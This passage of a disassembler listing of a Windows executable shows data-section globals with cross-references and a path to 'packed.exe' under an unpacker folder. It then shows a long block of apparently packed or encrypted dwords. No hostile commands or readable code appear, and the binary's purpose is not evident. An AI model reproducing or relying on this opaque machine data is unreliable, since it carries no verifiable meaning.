dd 7Fh dup(0)
dword_444568 dd 0 ; DATA XREF: sub_416A7A+4Cw
; sub_416BB5+3Aw ...
dword_44456C dd 0 ; DATA XREF: sub_405F35+233w
; sub_4075B8+6Dr ...
dword_444570 dd 0 ; DATA XREF: sub_40B398+164w
; sub_416552+AEw ...
dword_444574 dd 0 ; DATA XREF: sub_402669+E0w
; sub_405983+7Ew ...
dword_444578 dd 0 ; DATA XREF: sub_407BAA+11Ew
; sub_407D92+53r ...
dword_44457C dd 0 ; DATA XREF: sub_405F35+260w
; sub_4070A3+11Fw ...
byte_444580 db 0 ; DATA XREF: sub_40E961+91o
; sub_40EC43+331Cr ...
align 4
dd 473h dup(0)
dword_445750 dd 10E6Ah dup(0) ; DATA XREF: .data:off_42933Co
dword_4890F8 dd 1Ch ; DATA XREF: sub_406F62:loc_406FD0r
; sub_40E48A+3Aw ...
align 10h
dword_489100 dd 0 ; DATA XREF: sub_40E48A:loc_40E873o
dword_489104 dd 20h dup(0) ; DATA XREF: sub_40E48A+381o
; sub_40E48A+43Ao ...
dword_489184 dd 10h dup(0) ; DATA XREF: sub_40E48A+398o
; sub_40EC43+8D4o
dword_4891C4 dd 24h dup(0) ; DATA XREF: sub_40E48A+3AFo
dword_489254 dd 0 ; DATA XREF: sub_40E48A+3A3w
; sub_40E48A+451w ...
dword_489258 dd 0 ; DATA XREF: sub_40E48A+3C2w
dd 2 dup(0)
dword_489264 dd 0 ; DATA XREF: sub_40E961+72r
; sub_40EC43+268r
db 2 dup(0)
byte_48926A db 0 ; DATA XREF: sub_40EAC7+28r
; sub_40EAC7+30o
align 4
dword_48926C dd 0 ; DATA XREF: sub_40E48A+3EEw
; sub_40E48A+405r ...
dword_489270 dd 0 ; DATA XREF: sub_40E48A+386w
; sub_40EC43+878r
align 8
dword_489278 dd 0 ; DATA XREF: sub_415208+146r
align 10h
dword_489280 dd 1Eh dup(0) ; DATA XREF: sub_415AA4+8Do
dword_4892F8 dd 0 ; DATA XREF: sub_416CBC+16o
; sub_416CDB+19o
dword_4892FC dd 61h dup(0) ; DATA XREF: sub_416C6F+3Do
byte_489480 db 0 ; DATA XREF: sub_416979+64r
; sub_416979+92w
align 8
dword_489488 dd 0 ; DATA XREF: sub_417A73+Aw
align 10h
dword_489490 dd 0 ; DATA XREF: sub_4183B1+5Er
; sub_4183B1+A4w
align 8
word_489498 dw 0 ; DATA XREF: sub_4183B1+55r
; sub_4183B1+9Ao
word_48949A dw 0 ; DATA XREF: sub_4183B1+48r
db 2 dup(0)
word_48949E dw 0 ; DATA XREF: sub_4183B1+3Br
word_4894A0 dw 0 ; DATA XREF: sub_4183B1+2Er
word_4894A2 dw 0 ; DATA XREF: sub_4183B1+21r
align 8
dword_4894A8 dd 0 ; DATA XREF: sub_41886E+3Br
; sub_41886E+91w
dword_4894AC dd 0 ; DATA XREF: sub_418533+1B9w
; sub_418A0E:loc_418A8Aw ...
dword_4894B0 dd 0 ; DATA XREF: sub_4194F9+35w
; sub_41A3B7:loc_41A451w ...
dword_4894B4 dd 0 ; DATA XREF: sub_41FBF2+13Ar
dword_4894B8 dd 0A28h ; DATA XREF: sub_4198E4+52w
dword_4894BC dd 501h ; DATA XREF: sub_4198E4+49w
dword_4894C0 dd 5 ; DATA XREF: sub_4198E4+3Ew
dword_4894C4 dd 1 ; DATA XREF: sub_4198E4+30w
dword_4894C8 dd 1 ; DATA XREF: sub_40E48A:loc_40E75Br
; sub_41EF6B+91w
dword_4894CC dd 8F0B20h ; DATA XREF: sub_40E48A+2DAr
; sub_40E48A+2FAr ...
dd 0
dword_4894D4 dd 8F0B48h ; DATA XREF: sub_41EEB2+44w
; sub_421ADE+9r ...
dword_4894D8 dd 0 ; DATA XREF: sub_422197+36r
dword_4894DC dd 0 ; DATA XREF: sub_421ADE+16r
; sub_421EAC+4r ...
dd 0
off_4894E4 dd offset aCM_unpackerPac ; DATA XREF: sub_41EF6B+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4894EC db 0 ; DATA XREF: sub_419807+2Dw
; sub_41F813+5r
align 10h
dword_4894F0 dd 0 ; DATA XREF: sub_419807+27w
dword_4894F4 dd 0 ; DATA XREF: sub_419807+4r
; sub_419807+8Bw
dword_4894F8 dd 0 ; DATA XREF: sub_4198E4+84w
; sub_41EEB2:loc_41EEC4r ...
align 10h
dword_489500 dd 0 ; DATA XREF: sub_4199DAr sub_4199FFr ...
dword_489504 dd 0 ; DATA XREF: sub_41A5A2+37r
dd 0
dword_48950C dd 0 ; DATA XREF: sub_417889r
; sub_41914F:loc_41926Br ...
dword_489510 dd 0 ; DATA XREF: sub_41A854r
dword_489514 dd 0 ; DATA XREF: sub_41B722+4Bw
; sub_41B83B+2Dw ...
dword_489518 dd 0 ; DATA XREF: sub_41C66D+11r
; sub_41C771+1Ar ...
byte_48951C db 0 ; DATA XREF: sub_41C66D+3r
; sub_41C66D+98r ...
align 10h
dword_489520 dd 0 ; DATA XREF: sub_41C771+11r
; sub_41C84F+21w ...
byte_489524 db 0 ; DATA XREF: sub_41C84F+51w
align 4
dword_489528 dd 0 ; DATA XREF: sub_41CA45+4Er
; sub_41CE20+3Ar ...
dword_48952C dd 0 ; DATA XREF: sub_41CA45+5Cr
; sub_41CE20+43r ...
dword_489530 dd 0 ; DATA XREF: sub_417CFA+7Ar
; sub_41CBEC+5r
dword_489534 dd 0 ; DATA XREF: sub_41D1FC+29r
dword_489538 dd 2 dup(0) ; DATA XREF: sub_418490+Co
dword_489540 dd 0 ; DATA XREF: sub_418D63+4r
; sub_418D63+6Er ...
align 10h
dword_489550 dd 0 ; DATA XREF: sub_4196B9+61r
; sub_4196B9+BFr ...
align 8
dword_489558 dd 1 ; DATA XREF: sub_41E409+28r
; sub_41E409+4Cw ...
dword_48955C dd 1 ; DATA XREF: sub_41E658:loc_41E7D3r
; sub_41E7F1+4w ...
dword_489560 dd 0 ; DATA XREF: sub_41ECD6+3Ar
; sub_41ECD6+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41EF6B:loc_41EF82o
; .data:off_4894E4o
align 10h
dd 3Ah dup(0)
dword_489668 dd 1 ; DATA XREF: sub_41F1B8+2r
; sub_41F1B8+23w ...
dword_48966C dd 0 ; DATA XREF: sub_41F578+21r
dword_489670 dd 0 ; DATA XREF: sub_41A5A2:loc_41A5CBw
; sub_41A66C+154w ...
dword_489674 dd 1 ; DATA XREF: sub_41F88F+26r
; sub_41F88F:loc_41F8F9w
dword_489678 dd 0 ; DATA XREF: sub_41A66C+7r
align 10h
word_489680 dw 0 ; DATA XREF: sub_420477+1Ao
; sub_420477+46r
byte_489682 db 0 ; DATA XREF: sub_420477+39r
align 4
dword_489684 dd 7 dup(0) ; DATA XREF: sub_420477+52o
dword_4896A0 dd 0 ; DATA XREF: sub_420477+40w
; sub_420477+5Co
dword_4896A4 dd 0 ; DATA XREF: sub_420477+4Dw
dword_4896A8 dd 0 ; DATA XREF: sub_420477+31w
dword_4896AC dd 0 ; DATA XREF: sub_420477+52w
dword_4896B0 dd 77C26E79h ; DATA XREF: sub_42059A:loc_4205BDr
; sub_42059A+38r ...
align 8
dword_4896B8 dd 0 ; DATA XREF: sub_42067A+11w
; sub_42067A+63w ...
align 10h
dword_4896C0 dd 0 ; DATA XREF: sub_42067A+33o
; sub_42067A+46r
dword_4896C4 dd 10h dup(0) ; DATA XREF: sub_42067A+C1o
word_489704 dw 0 ; DATA XREF: sub_4208D8+A8r
word_489706 dw 0 ; DATA XREF: sub_42067A+54r
; sub_4208D8+DBr ...
word_489708 dw 0 ; DATA XREF: sub_4208D8+CAr
word_48970A dw 0 ; DATA XREF: sub_4208D8+D3r
; sub_4208D8:loc_4209CAr
word_48970C dw 0 ; DATA XREF: sub_4208D8+C0r
word_48970E dw 0 ; DATA XREF: sub_4208D8+B8r
word_489710 dw 0 ; DATA XREF: sub_4208D8+B0r
word_489712 dw 0 ; DATA XREF: sub_4208D8+9Er
dword_489714 dd 0 ; DATA XREF: sub_42067A+4Br
dword_489718 dd 10h dup(0) ; DATA XREF: sub_42067A+FBo
word_489758 dw 0 ; DATA XREF: sub_4208D8+46r
word_48975A dw 0 ; DATA XREF: sub_42067A:loc_4206F1r
; sub_4208D8+78r ...
word_48975C dw 0 ; DATA XREF: sub_4208D8+67r
word_48975E dw 0 ; DATA XREF: sub_4208D8+70r
; sub_4208D8:loc_42095Cr
word_489760 dw 0 ; DATA XREF: sub_4208D8+5Dr
word_489762 dw 0 ; DATA XREF: sub_4208D8+55r
word_489764 dw 0 ; DATA XREF: sub_4208D8+4Dr
word_489766 dw 0 ; DATA XREF: sub_4208D8+3Er
dword_489768 dd 0 ; DATA XREF: sub_42067A+80r
dword_48976C dd 0 ; DATA XREF: sub_42067A+132r
; sub_42067A:loc_4207C6r ...
dword_489770 dd 0 ; DATA XREF: sub_420665r sub_420665+Ew
dword_489774 dd 0 ; DATA XREF: sub_420D8F+3r
; sub_420D8F+2Ew ...
dword_489778 dd 0 ; DATA XREF: sub_420D8F+43w
; sub_420D8F:loc_420DDEr
dword_48977C dd 0 ; DATA XREF: sub_420D8F+4Aw
; sub_420D8F+60r
dword_489780 dd 0 ; DATA XREF: sub_41FBF2+3Fr
dword_489784 dd 0 ; DATA XREF: sub_42196C:loc_4219D3r
; sub_42196C+6Do
dword_489788 dd 0 ; DATA XREF: sub_42196C:loc_4219AAr
; sub_42196C+44o
dword_48978C dd 0 ; DATA XREF: sub_42196C:loc_42199Dr
; sub_42196C+37o
dword_489790 dd 0 ; DATA XREF: sub_42196C:loc_4219B7r
; sub_42196C+51o
align 8
dword_489798 dd 0 ; DATA XREF: sub_421F1A+28r
; sub_421F1A+48w ...
dword_48979C dd 0 ; DATA XREF: sub_422978+28r
; sub_422978+4Cw ...
dword_4897A0 dd 0 ; DATA XREF: sub_422C03+26r
; sub_422C03:loc_422C6Dw
byte_4897A4 db 1 ; DATA XREF: sub_4047E1r sub_4047E1+9w
align 4
dword_4897A8 dd 8F1110h ; DATA XREF: sub_41A535:loc_41A546r
; sub_41A7DC+14r ...
dd 5 dup(0)
dword_4897C0 dd 400h dup(0) ; DATA XREF: .data:off_43B198o
; .data:0043B1A0o
dword_48A7C0 dd 200h ; DATA XREF: sub_41A535+9r
; sub_41A535+56r ...
dd 7 dup(0)
dword_48A7E0 dd 8F0650h ; DATA XREF: sub_419A23+B1r
; sub_41DF48+75r ...
dword_48A7E4 dd 3Fh dup(0) ; DATA XREF: sub_41F2EA+92o
dword_48A8E0 dd 20h ; DATA XREF: sub_41A3B7+8r
; sub_41E021+Cr ...
dword_48A8E4 dd 4E4h ; DATA XREF: sub_41E658+14r
; sub_41E658+65w ...
align 10h
dword_48A8F0 dd 3 dup(0) ; DATA XREF: sub_41E658+123o
; sub_41E658+171o ...
dword_48A8FC dd 0 ; DATA XREF: sub_41E658+108w
; sub_41E658+15Dw ...
byte_48A900 db 0 ; DATA XREF: sub_41E897:loc_41E9A3w
; sub_41E897:loc_41E9C0w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_48AA00 db 0 ; DATA XREF: sub_41E658+5Co
; sub_41E658+AFo ...
byte_48AA01 db 0 ; DATA XREF: sub_418FB8+5Dr
; sub_41E658+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_48AB04 dd 0 ; DATA XREF: sub_41E658+6Ew
; sub_41E658+12Bw ...
dword_48AB08 dd 0 ; DATA XREF: sub_41AA41+3Cw
; sub_41B0E6+5r ...
dword_48AB0C dd 0 ; DATA XREF: sub_41AAB4+23Ar
; sub_41AAB4+25Ar ...
dword_48AB10 dd 0 ; DATA XREF: sub_41AA41+31w
; sub_41AAB4+311w ...
dword_48AB14 dd 0 ; DATA XREF: sub_41AA41+21w
; sub_41AAB4+22Dr ...
dword_48AB18 dd 0 ; DATA XREF: sub_41AA41+28w
; sub_41AA89r ...
dword_48AB1C dd 0 ; DATA XREF: sub_41AA41+15w
; sub_41AA89+8r ...
dword_48AB20 dd 0 ; DATA XREF: sub_4178C7+Fr
; sub_41914F+5Cr ...
dword_48AB24 dd 8F0000h ; DATA XREF: sub_4178C7+66r
; sub_41793B+5Ar ...
dword_48AB28 dd 1 ; DATA XREF: sub_4178C7r sub_41793B+Cr ...
dword_48AB2C dd 142340h ; DATA XREF: sub_4198E4+7Aw
; sub_41EE5A+Fr ...
dword_48AB30 dd 1 ; DATA XREF: sub_41EEB2+ADw
; sub_421ADEr
dword_48AB34 dd 1 ; DATA XREF: sub_41EA1Cr
; sub_41EA1C+11w ...
dword_48AB38 dd 8F075Ch ; DATA XREF: sub_418303+13r
; sub_418303:loc_418345r ...
dword_48AB3C dd 8F0758h ; DATA XREF: sub_418303+1r
; sub_418303+Cr ...
dd 130h dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
_data ends
; Section 2. (virtual address 0008C000)
; Virtual size : 00016890 ( 92304.)
; Section size in file : 00016890 ( 92304.)
; Offset to raw data for section: 0008C000
; Flags C0000020: Text Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
_pdata segment para public 'CODE' use32
assume cs:_pdata
;org 48C000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 8000005Eh, 0A22A0000h, 8F1788D9h, 33666E2Bh, 42851711h
dd 2F2A92BBh, 97C8C5D9h, 6B40DB67h, 75E3CF8Fh, 0A478514Eh
dd 0DA87B2F7h, 0CACBDBE3h, 0AFD52D6Ch, 84A11EE3h, 0A41C7308h
dd 4EBC8A98h, 51B8EAD9h, 0DB1610A9h, 427CB136h, 310917D8h
dd 637DBC7Bh, 0D607EDE5h, 8272EB54h, 2281BFADh, 0C66F79D9h
dd 0E8AFC35Eh, 7D67D2D4h, 7C54ACB7h, 0F4BC0FF2h, 4055CBF6h
dd 2CEA2B4Bh, 8905203h, 9A639DEAh, 157B9455h, 58FB7A2Ah
dd 0E23D1789h, 0B7BC0422h, 0C1B761E3h, 0D1E7BBDEh, 7A99261Dh
dd 8FAD3979h, 22C2FB21h, 1F1D44CFh, 7F0E79BAh, 7715C6A6h
dd 0C0042B92h, 70772D74h, 0C82CF78h, 9322B0Dh, 4A3000DDh
dd 3E02BA50h, 0A3996F84h, 7110570Eh, 1079352h, 0B73D7FF4h
dd 4827EDACh, 97DD992Dh, 9F273103h, 99BAF2C6h, 9C89E64Bh
dd 363CF384h, 0BDC2665Fh, 8DD1047Dh, 6105D81h, 6E2CB0E1h
dd 0FBC9445h, 28C02EE8h, 300416D6h, 77F66109h, 0C1BCBDF2h
dd 7EC689DFh, 0C01241E4h, 8C5ECBEAh, 9009236Ah, 1CBDFC15h
dd 0C15515B2h, 81A58C78h, 0D1708A21h, 5A6DE6A7h, 0A1BDA8C5h
dd 8D39C868h, 0F41AAEE0h, 97942946h, 0BFD976F3h, 551F99E0h
dd 8A7065BAh, 0BA649001h, 52D24234h, 496DF213h, 0DF9DD3h
dd 57F99245h, 0CE08F3F7h, 5D86466Fh, 0E636893Ch, 0B1392A5Fh
dd 7449433Ah, 79E0109h, 2E27A59Bh, 2B2CFEDBh, 28B78C3Bh
dd 8978235Ch, 486A4D16h, 0D26E26C6h, 4540E35Fh, 0BBF1CAD6h
dd 6E39650Ch, 0D6DC99C4h, 0B05FA270h, 15AB9E34h, 2348A216h
dd 438B75E0h, 3F0348Fh, 2CA8D385h, 0B779CB26h, 0C5EB67B9h
dd 476638EFh, 2DDAD868h, 21C791B3h, 5102A0BDh, 0C15D8818h
dd 75DA9837h, 25638AE3h, 5FA02064h, 1A6496D8h, 575BC033h
dd 6013ABE8h, 348A8393h, 0E5075A64h, 324872B2h, 0B2DD676Bh
dd 3E51D184h, 99A888FFh, 0CBFF4CB1h, 0A03750E5h, 77FF52ABh
dd 25CA3516h, 0E30F0D3Fh, 202D0BCEh, 0D2A15CDFh, 86F33099h
dd 8BF700E1h, 0B85DD060h, 8A0CC9FFh, 0D372EF2h, 7A20FA4Ah
dd 0F38C1942h, 89EC81Dh, 5688A72h, 51E52602h, 83D635A1h
dd 9F82F9B3h, 5E0F8AE3h, 0FE056AA9h, 0D509FCCDh, 1F443752h
dd 0E856BA60h, 5C892D70h, 6A73561Bh, 283DAF3Ch, 0DE88B1CCh
dd 5BAB5F1Ch, 9EBBD05Ch, 0CF96FAAFh, 0FBBACE61h, 0F5697866h
dd 0CA1B1D47h, 0F985F3EFh, 8FFD8470h, 0FCE8AD8Fh, 58FBABF6h
dd 0CCAF5E58h, 75F4C3A8h, 505FCC78h, 0D48CF7BCh, 21DC4D7Fh
dd 4086829Eh, 7858C951h, 8FED4ECBh, 13F28763h, 49F99CD3h
dd 2642E3B0h, 9B1D58A3h, 8BCD4950h, 0A0D408E1h, 786FDE89h
dd 0E5E8E0DEh, 1C5D69A2h, 4FB4ACA7h, 0ADBB498Eh, 3A18D695h
dd 0B7CE6573h, 0FA00E5B7h, 0EB1A2357h, 0EFD0D4D0h, 8BC29AE8h
dd 6E460688h, 0F7ED8DCh, 6C7D1DBAh, 0AE647EFCh, 8F268F7Bh
dd 71561684h, 378BBE3Ah, 0B19383B1h, 5BA97A26h, 8A66E854h
dd 0CE374990h, 5BAD5E2h, 2B1384F9h, 0F3CB62DFh, 0EE203613h
dd 53CCA63Eh, 453947EFh, 55E82A9Dh, 94688F07h, 0D5B4EDDDh
dd 0E1839876h, 57D3CE3Ch, 81E7F33h, 5EEDE0E8h, 931C6C08h
dd 6A8BC766h, 957B6386h, 941CA546h, 46082DD4h, 0F587E4D7h
dd 87C4567Bh, 5426C3C9h, 3085719Ch, 203AE696h, 79452CFBh
dd 0F1CE9640h, 0DF422332h, 0BBF5E79Ch, 2E92A3EFh, 0C76277BBh
dd 0DC58B6D6h, 0B50775B8h, 0BAAA4D57h, 90C3AE57h, 95F6B2E4h
dd 0B77C7EC8h, 2DC9B8CAh, 682AFA90h, 7FE8927Ah, 9050C7BEh
dd 0A81A4796h, 6676C5E9h, 0B7826962h, 7B5E1AC4h, 6337C5E9h
dd 0ADDE48BCh, 78C4D884h, 0A02AC475h, 4C5BDF26h, 0A525AFECh
dd 1114E58Dh, 159F91B4h, 6507DFEDh, 30689422h, 0AECDCBA0h
dd 0F78FD3CDh, 0A1A47016h, 31846141h, 0CA3DA7F3h, 14933017h
dd 0CA5CD991h, 245DBA78h, 5BB21E8Eh, 4D58A1F5h, 0EF4D7483h
dd 224542ABh, 50441B91h, 8C86545Bh, 75FF1CF0h, 608C35CEh
dd 0B301CBDFh, 0F1B818EFh, 0B93B8351h, 0ABB58068h, 5F6A27E9h
dd 78F4F588h, 0C120785Ch, 0F600E8DDh, 88795DB4h, 686AEA4Dh
dd 0B00F631Ah, 1CFF3B2Fh, 7F3DB8EFh, 78210CC6h, 89991AB7h
dd 769CCFBh, 71225ABBh, 563276F6h, 331341C2h, 0EEAC0A5h
dd 39DBBD9Bh, 0B1694858h, 0DB61DB1Bh, 0EA038A26h, 0D14D5DB8h
dd 0E982D925h, 8FEE5197h, 0F4E6D6CCh, 9FB35CB0h, 0ACFC4735h
dd 0BA7DBAE4h, 71958442h, 0A2B2273Eh, 667771EDh, 2A0A413Ah
dd 408B77EEh, 0F1F7FA81h, 2C5E7A66h, 565B1257h, 65E02965h
dd 11A78C60h, 0E29D0631h, 2760E8EDh, 2A08E1CFh, 0A58795EEh
dd 47AEE444h, 58A818F2h, 0C48C410Ah, 0BE10BBF2h, 0F2401339h
dd 28E24244h, 0ACCA5C04h, 52C87FC4h, 39D0CCAh, 12AC6FF0h
dd 0F649C12Ch, 32C25B63h, 0D23406FBh, 1C04C731h, 6F99A782h
dd 25AA4AECh, 5886CF3Ah, 38EF9A53h, 0B433017h, 0ECCF351Ch
dd 0E9598DD9h, 966BDE9Ch, 0A7CA1B71h, 0B38FCE67h, 19CA376Dh
dd 2A807075h, 0DED907E4h, 83357265h, 8C0711E3h, 799DF684h
dd 9852E64Ah, 17095B90h, 0AC1E37D8h, 0BC83495Fh, 698546AAh
dd 24F88F5Ch, 0DEA318A3h, 0B49F4BF3h, 0DDB9B205h, 6BB018D2h
dd 41F92F72h, 0E82DAB66h, 0D92DFC46h, 0C0C68CE4h, 0D6FABFE9h
dd 907CF325h, 0B3C60748h, 0AD58F3EBh, 0E3D52D31h, 91CBEF98h
dd 7E4C9320h, 98B891A6h, 4C1ED9F7h, 0EF0B1C98h, 9B8C4E23h
dd 0EC22836Bh, 5546A7BAh, 36166DF4h, 3BE9FFECh, 0A9EA3A1Bh
dd 0E625AA31h, 97417420h, 234C7D44h, 0DF8C8EE4h, 4197D230h
dd 58D2ACDEh, 32BD608Ah, 2479FE8Ah, 1420CDC0h, 0EF7B98B2h
dd 0B7FE878Dh, 0B162E882h, 3AC02837h, 434CFE38h, 29EC1942h
dd 99FE8A06h, 6C486118h, 86DD329Eh, 0F8B5D1AFh, 0CC81FBBBh
dd 0E4B2CC17h, 916FD88h, 76F8CCF9h, 41E47157h, 3D1560E0h
dd 308AE68Bh, 0CD843BB3h, 75A914B7h, 2F0176A8h, 945B5DEAh
dd 790AAB82h, 39075D26h, 250A268Dh, 86D7C214h, 86629B0Eh
dd 0C26C98CBh, 0E44C8C2Fh, 0C4DEE583h, 0C1A0C4A8h, 7025E8E9h
dd 0AAE5ADC3h, 0C405F3Fh, 0F75F1AECh, 0F1100E27h, 0D621D2C3h
dd 9EF56ED2h, 0EBEA0A8Fh, 0E2225ACh, 0EBC1E552h, 0D9CDF40Bh
dd 90A4A3AAh, 0EB45BBCDh, 0CE66CAADh, 0FE48C0E1h, 0EA6F76C2h
dd 6F836F14h, 0DF889EA9h, 6C1B4372h, 4D66C1D3h, 920032DDh
dd 0E227A54Bh, 0F5F6F7D2h, 3ACC9B03h, 596980Dh, 8E350723h
dd 738B63BBh, 0EDEA468h, 259C8520h, 0E6F20D43h, 2059F3ECh
dd 60A5AFF4h, 35CCDCBDh, 68DBA465h, 0B3ED4F3Dh, 542A37ABh
dd 0E148B346h, 70706FF8h, 7A3CE157h, 0D0DA7166h, 9FB76FAh
dd 0D1ABD195h, 0FAC2D72Ah, 0CE6BB214h, 0B6C2D06Dh, 9814D5A6h
dd 4A591D11h, 68C764B7h, 0E4F331CBh, 3E14B7E6h, 0A45777D2h
dd 254F844Dh, 3B3D01EAh, 51D9FDF9h, 85954636h, 3D1B6EDDh
dd 8FC2FF4Dh, 977B2BA5h, 37F7D3B5h, 5CA0E3C3h, 0ED4654BFh
dd 177CA983h, 0ECD43757h, 2DFCA407h, 0F8D8415Ch, 0EB4EC9F8h
dd 69FD8440h, 2F1FB5CAh, 3BC48B3Ch, 821CED7Bh, 0AAD1E080h
dd 4D243B9Fh, 0C792B11Eh, 0E4020FC3h, 1C35C7DDh, 0D19E0A2Ch
dd 0DF829280h, 1B6B67D5h, 92598CE4h, 201B88DBh, 0D2F8CA86h
dd 2BA8CB5h, 0B76845A4h, 6B665502h, 0B6FA5CEDh, 0D87A4B2Ch
dd 27368493h, 23FD09F0h, 786E21AFh, 0B8AC6B6Eh, 3A6A5D48h
dd 0A7C95243h, 0C07A04ABh
dd 2FD08CA3h, 0D6A88929h, 3FD0B971h, 0F43CADF3h, 0BF8C6811h
dd 2B003FC2h, 0F11A8C46h, 733D3281h, 0C95D457Ch, 5AD101A2h
dd 0E292184Ch, 0DE5C26ADh, 55B6C181h, 91C849E3h, 0DEB1C80Bh
dd 81919A2h, 8255D2B2h, 30E002A1h, 0C293DCF3h, 0FACFA2F9h
dd 71763481h, 1165408Bh, 5F9F974Bh, 2A560881h, 0A86ADD35h
dd 0B5DE496h, 0EE760346h, 76EC6FBCh, 1FBDB5CEh, 0F6BCD152h
dd 0B4DBC13Eh, 3A3DC551h, 520CBAFFh, 0C6564987h, 0E55A134h
dd 0F923879Ch, 5591FE21h, 27481596h, 9CCB2376h, 2CE5902Fh
dd 0D87A8135h, 11FE231Bh, 4C4E3140h, 7507F5h, 0DA65168Ch
dd 13C0B8BDh, 0E7D7A8B8h, 5A6921E2h, 38D75161h, 38139874h
dd 0B25F15DBh, 13212C1h, 0DF6E9792h, 53F275FEh, 92D14F76h
dd 0A0B531D7h, 0C8E37EA9h, 0E39A69ACh, 0BAE7C641h, 21038C8Dh
dd 0EFCFFE2Eh, 1DE43CEAh, 74560FA6h, 6A9D0CC9h, 5830466Ch
dd 0E7C1D81Bh, 0A0B9D00Eh, 647D89C4h, 0F985DD75h, 0E8EA2C67h
dd 0BD253F85h, 7FA69032h, 0F8A53680h, 18DB7F7Ch, 0D7CCFBC4h
dd 3E11B5CFh, 6E62FC03h, 776444B2h, 49B6CD4h, 3AE6929Bh
dd 811D527Bh, 68316C15h, 0C00994A8h, 12024309h, 10F30039h
dd 6856C855h, 0AFB8447Bh, 0E127B91Dh, 603D9B23h, 746607BDh
dd 5CDBB32Ah, 0A4BE6D96h, 0EC6845F7h, 716FF964h, 2F588AB2h
dd 7D06CDFCh, 583FA5CBh, 0F613C124h, 892E7D14h, 0B5C33CBCh
dd 5A131F0Bh, 473A286Eh, 7E8E171Bh, 0A68CE6Fh, 20559EC9h
dd 4402B363h, 0CC689F2Dh, 0C07864h, 0B5EE0877h, 5FF93156h
dd 0D398DE06h, 8FCD5204h, 809B5D80h, 76C0268Ah, 0AAAAAE3Dh
dd 91FC3786h, 2867500Fh, 0AA1AEF6Ch, 444BD59Fh, 0DD16F658h
dd 2E5B4DD9h, 3A3BC0C8h, 95EDC066h, 0D8B2C83Dh, 7F5E1907h
dd 8AE3FE0Eh, 9AF320C9h, 1003037Ah, 5DFE926h, 307D4553h
dd 22446A82h, 75A8A897h, 0F742F224h, 3B2F7FD7h, 44160B45h
dd 0E4A2808Dh, 0A49FDD76h, 0AD3FF138h, 804A90FCh, 9FF313FEh
dd 0B2D8BE1Ch, 958C0248h, 0D5EAF44h, 0F9E7BE34h, 29CFC192h
dd 0A9C84D26h, 37E9A832h, 0C51280Bh, 0E0A19FFCh, 62FD66F0h
dd 0CD9EB483h, 0C1592231h, 0A71FD22Fh, 0A2A715A9h, 0F8C60AA8h
dd 0BCBC4AF7h, 0E3A56E73h, 0DF82F2A7h, 4EAADA27h, 0A8EC9532h
dd 0DBBA60EDh, 739E812Fh, 0A64B0B18h, 0F39AD940h, 0C3F1BC38h
dd 0CCBF4E7Ch, 0F9C521B4h, 33DF1CC0h, 0D55ABDEBh, 0DD72A21Dh
dd 16C3A5EDh, 39FEC1E6h, 583C4A6Ch, 970AE061h, 1B9CC0ADh
dd 0D995BBEEh, 212BDAABh, 89D9D0AFh, 0C6F8933Ah, 1D64E76Ch
dd 0F9EE7B5Dh, 7096C310h, 0EE35BEE1h, 82D10B98h, 58B43A1Fh
dd 5C745132h, 2838AE1Eh, 10CD013h, 1507F93Ah, 0B3F8B291h
dd 8F031C22h, 0EFDC1115h, 63D6465Eh, 0C38929D3h, 8E2AB086h
dd 649C0B83h, 10A4C5D9h, 71C94EC4h, 2EA7BD67h, 1D7B3125h
dd 38CC9DBDh, 0F9B45342h, 0D343DCC2h, 7BA65D84h, 0D605DC3Eh
dd 17BACC93h, 3812F0FAh, 945E5C71h, 4D25F960h, 0F065D8C9h
dd 111399C0h, 3C9E224Ah, 215255E5h, 8FBE8B29h, 5B7FC06Ch
dd 29AB2E6Ah, 963ADF9Bh, 0C27242ECh, 0FB17001Bh, 0BE81FA53h
dd 0CAA59CABh, 8BD97100h, 0C30014DAh, 3093958h, 0B81D7A26h
dd 70932F3Ch, 7DA12E0h, 0B14A3174h, 0B5C29688h, 0A2C91F5Dh
dd 0C6C0E1A9h, 9766AB3Ah, 19B2FF0Bh, 0AE979FF2h, 5DE3BB43h
dd 78E3CC0h, 7B49CECAh, 0CE6BD6D0h, 3F9E5ADAh, 0C6085Dh
dd 36CD37C0h, 0AB97193Ch, 4D4BFB6Bh, 1640C8BCh, 58BD214Fh
dd 8970C0C5h, 0DA15BBDFh, 0F22D4AD0h, 0C3C0AE50h, 0C4925906h
dd 5A022BEh, 5466CCF5h, 79F61C91h, 76524D92h, 0B7C488CDh
dd 0B0AAB68Bh, 3E1345C5h, 819183F1h, 308C9685h, 9C7CC40Eh
dd 48CD5E3Ah, 43487E0Bh, 87E7CFD2h, 0E7E871D4h, 1C6F0711h
dd 4B6F24E1h, 98694F63h, 93EE74A9h, 2E9C03A8h, 1A7865D6h
dd 32587B06h, 0A5CB9CD0h, 7955AE2h, 0ADE4D1A6h, 0DD288F07h
dd 0C0E84CA4h, 0B69D21E3h, 0AE192D1Fh, 0E8CF2ABBh, 8533EC9h
